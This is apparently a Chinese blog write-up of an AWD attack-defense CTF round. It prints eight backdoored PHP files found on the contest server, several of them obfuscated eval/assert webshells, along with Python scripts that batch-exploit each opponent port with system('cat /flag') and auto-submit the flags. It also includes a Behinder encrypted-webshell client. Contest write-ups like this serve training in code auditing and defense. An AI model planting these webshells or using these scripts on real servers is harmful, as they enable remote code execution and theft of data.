AWD-1
煤矿路口西 Lv3

simple


启示:新收获,体会到了AWD的乐趣

尽管笔者还是很菜,但是事后学会写批量化脚本成功后,还是体会到了AWD的乐趣,有点意思~


准备工作:

通过WinSCP(Xshell等)连接登录后,备份/var/www/html,将此目录下的所有文件拖入D盾,发现部分漏洞。👇

D盾

挨个修叭


1

.config_common.php
<?php 
error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[520]);
?>

简单分行后,将’YXNzZXJ0’进行base64加密后得’assert’,即assert(@$_POST[520]);,意为传入一个名为520的变量,方式为POST传参,后以PHP代码的方式执行。

因此,在网站上尝试POST传参’520=system(‘cat /flag’);'后可得flag。👇

config_common

接下来就是批量化的过程,明确思路:

1.攻击端口

port_start=8801
port_end=8808
my_port=8802
flag=[]
token='1f208fe1a06b1d6db7ff6b7a7db3aefe'

2.获取flag

def config_common(i):
attack_url='http://XXX:'+ str(i) +'/.config_common.php'
data={"520":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)

3.提交flag

for i in range(port_start,port_end+1):
if(i==my_port):
continue
else:
config_common(i)
#pdd(i)
#function111(i)
#function4eff2(i)
#ciscn_notes(i)
#ciscn_config2(i)
#ciscn_include2(i)
#ciscn_url(i)
#ciscn_include(i)#冰蝎
#ciscn_config1(i)
submit_url='http://XXX:9090/'
for i in flag:
submit_flag={'flag':i,'token':token}
requests.post(url=submit_url,data=submit_flag)
time.sleep(60*5)

其中还包括异常处理的部分,可逐步完善。


2

pdd.php
<?php @eval($_REQUEST["pdsdt"]);?>

与第一题大同小异,网页命令同为’pdsdt=system(‘cat /flag’);’

贴脚本,相同部分不再赘述:

def pdd(i):
attack_url='http://XXX:'+ str(i) +'/pdd.php'
data={"pdsdt":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)

3

111.php
<?php
$pass=$_POST["password"];
if($pass == "4eff2c041976ea22afb7092a53188c70")
{
system($_GET["getshell"]);
readfile("/flag");
}
else
{
echo "be1c5ff7101b7791469b5df2315cf75a";
}
?>

POST传入一个名为password的变量赋值给pass,若该变量(password=>pass)==“4eff2c041976ea22afb7092a53188c70”,则系统自动返回根目录下flag的操作;若不是,则返回假的flag。

脚本如下:

def function111(i):
attack_url='http://XXX:'+ str(i) +'/uploads/.111.php'
data={"password":"4eff2c041976ea22afb7092a53188c70"}
req=requests.post(url=attack_url,data=data)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)

4

4eff2c041976ea22afb7092a53188c70.php
<?php
eval($_POST["cmd"]);
?>

同第一第二题,脚本如下:

def function4eff2(i):
attack_url='http://XXX:'+ str(i) +'/uploads/4eff2c041976ea22afb7092a53188c70.php'
data={"cmd":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)

5

ciscn_url.php
<?php
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
exit('error');
}
readfile($url);
?>

与之前不同,此为get传参一个名为url的变量,赋值给了url,经过解析后传给了parts变量,若parts变量的host部分为空或不等于’localhost’,则error。故明确该命令的正确形式应该为’?url=file://localhost/flag’

脚本如下:

def ciscn_url(i):
attack_url='http://XXX:'+ str(i) +'/blog/ciscn_url.php?'
payload = {"url":"file://localhost/flag"}
req = requests.get(url=attack_url,params=payload)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)

6

ciscn_notes.php
<?php
error_reporting(0);
session_start();
include('ciscn_config.php');

if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['topic'])){
$topic = mysql_real_escape_string($_GET['topic']);
$topic = sprintf("AND topic='%s'", $topic);
}else{
$topic = '';
}
$sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['topic'])&&isset($row['substance'])){
echo "<h1>".$row['topic']."</h1><br>".$row['substance'];
die();
}else{
die("You're wrong!");
}
}


class ciscn_nt {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();
?>















<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>myblog</title>
<link href="../css/bootstrap.min.css" rel="stylesheet">
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<a class="navbar-brand" href="#">Blog</a>
</div>
<div>
<ul class="nav navbar-nav">
<li class="active"><a href="#">笔记</a></li>
<li><a href="#">关于</a></li>
</ul>
</div></nav>
<div class="panel panel-success">
<div class="panel-heading">
<h1 class="panel-title">php是世界上最好的语言</h1>
</div>
<div class="panel-body">
<li><a href='ciscn_notes.php?id=1&topic=Welcome to PHP world'>Welcome to PHP world</a><br></li>
<li><a href='ciscn_notes.php?id=2&topic=Do the best you can'>Do the best you can</a><br></li>
<li><a href='ciscn_notes.php?id=3&topic=Attention, please.'>格式化,全都格式化。。。</a><br></li>
</div>
</div>
</body>


<!--mysql_real_escape_string()-->
<!--$topic = sprintf("AND topic='%s'", $topic);-->
<!--$sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id)-->
</html>

观察可得该网页的php部分有一明显洞,为POST传入一个名为x的变量.

但需要注意的是,由于该部分返回的req.text不止flag部分,故需对获得的数据做进一步处理才行

notes

脚本如下:

def ciscn_notes(i):
attack_url='http://XXX:'+ str(i) +'/blog/ciscn_notes.php'
data={"x":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
#print(req.text)
key=(req.text).split(': ')[1][0:32]
flag.append(key)
print(flag)
#exception(req)

7

ciscn_include.php
<?php 

?>

该处可通过冰蝎连接以及COOKIE传参一个名为cookie的变量’cookie=system(‘cat /flag’);'可得:

(1)冰蝎连接👇

bx

批量脚本如下:

#冰蝎
session = requests.Session()

def padding_zero(key) -> bytes:
output = list(key)
while len(output) % 16:
output.append('\x00')
return ''.join(output).encode()

def padding_pkcs5(msg) -> bytes:
if isinstance(msg, str):
msg = msg.encode()
if len(msg) == 0x10:
return msg + b'\x10' * 0x10
return msg + (
0x10 - len(msg) % 0x10) * chr(0x10 - len(msg) % 0x10).encode()

def aes_encrypt(msg, key) -> str:
key=padding_zero(key)
enc = AES.new(key, AES.MODE_CBC, b'\x00' * 16)
return base64.b64encode(enc.encrypt(padding_pkcs5(msg))).decode()

def get_key(url):
Getparams={"pass":"1"}
key = session.get(url,params=Getparams).content
key = str(key, encoding = "utf-8")
return key

def main_exec(url,command,key):
command = bytes(command, encoding = "utf8")
command_b64= str(base64.b64encode(command), encoding = "utf-8")

command_eval="assert|eval(base64_decode('{}'));".format(command_b64)
postdata=aes_encrypt(command_eval,key)

res=session.post(url,data=postdata).content
return res

def main_exec_encode(url,command,key):
command2 = "ob_start();"+command+"$flag = ob_get_contents();ob_end_clean();for($i=0;$i<10;$i++){$flag=bin2hex($flag);$flag=base64_encode($flag);}print($flag);"
command2 = bytes(command2, encoding = "utf8")

command_b64 = str(base64.b64encode(command2), encoding = "utf-8")
command_eval="assert|eval(base64_decode('{}'));".format(command_b64)
postdata=aes_encrypt(command_eval,key)

res=session.post(url,data=postdata).content

for i in range(10):
res = base64.b64decode(res)
res = codecs.decode(res,"hex")
return res

def ciscn_include(i):
url = "http://XXX:"+str(i)+"/blog/ciscn_include.php"
command = "system('cat /flag');"
key = "e45e329feb5d925b"
flag = main_exec(url,command,key)
#flag2 = main_exec_encode(url,command,key)
#flag=(flag_[2:-1])
print(flag)
#print(flag2)

#冰蝎end

(2)COOKIE传参脚本如下:

def ciscn_include2(i):
attack_url='http://XXX:'+ str(i) +'/blog/ciscn_include.php'
data={"cookie":"/flag"}
req=requests.get(url=attack_url,cookies=data)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)

8

ciscn_config.php
<?php
echo "Mysql閾炬帴閰嶇疆";
error_reporting(0);
$con = mysql_connect ("127.0.0.1", "root", "c933ccc3b6b2fe8cb830a5e76f5f98a5");
if (!$con){
print('Could not connect: ' . mysqli_error());
}
mysql_select_db("ciscn_web", $con);

forward_static_call_array(assert,array($_POST["x"]));
class c
{
public $code = null;
public $decode = null;
function __construct()
{ $this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

}
new c();

?>

第一个洞在这个部分:

$this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);

将一串字符串赋值给$this->code(可简单理解为一个变量);将该变量进行base64解码后,赋值给$this->decode;将此变量当作php代码执行。

因此,我们需要将此字符串进行base64解密,得’eval($_POST[pass]);’

此后操作与第一第二相同,代码如下:

def ciscn_config1(i):
attack_url='http://XXX:'+ str(i) +'/blog/ciscn_config.php'
data={"pass":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
#key=''
#print(req.text)
key=(req.text).split(': ')[-1]
flag.append(key)
print(flag)

第二个洞为POST传参一个名为x的参数:

def ciscn_config2(i):
attack_url='http://118.89.227.105:'+ str(i) +'/blog/ciscn_config.php'
data={"x":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
#key=''
#print(req.text)
key=(req.text).split(': ')[-1]
flag.append(key)
print(flag)
#exception(req)

至此,以上为本人此次比赛找到的所有洞,收获颇多.

1.隐藏在正常服务中的洞往往不容易被发现(废话),简单删除后会因此失分,因此审代码是相当重要的能力。

2.提高速度,AWD往往是比手速,尽管在比赛当时笔者拿flag的方式相当弱智,但事后通过对批量化的学习以及应用加深了对此的体会。

3.继续努力。

  • 本文标题:AWD-1
  • 本文作者:煤矿路口西
  • 创建时间:2021-03-22 20:56:06
  • 本文链接:http://www.mklkx.xyz/2021/03/22/AWD-1/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!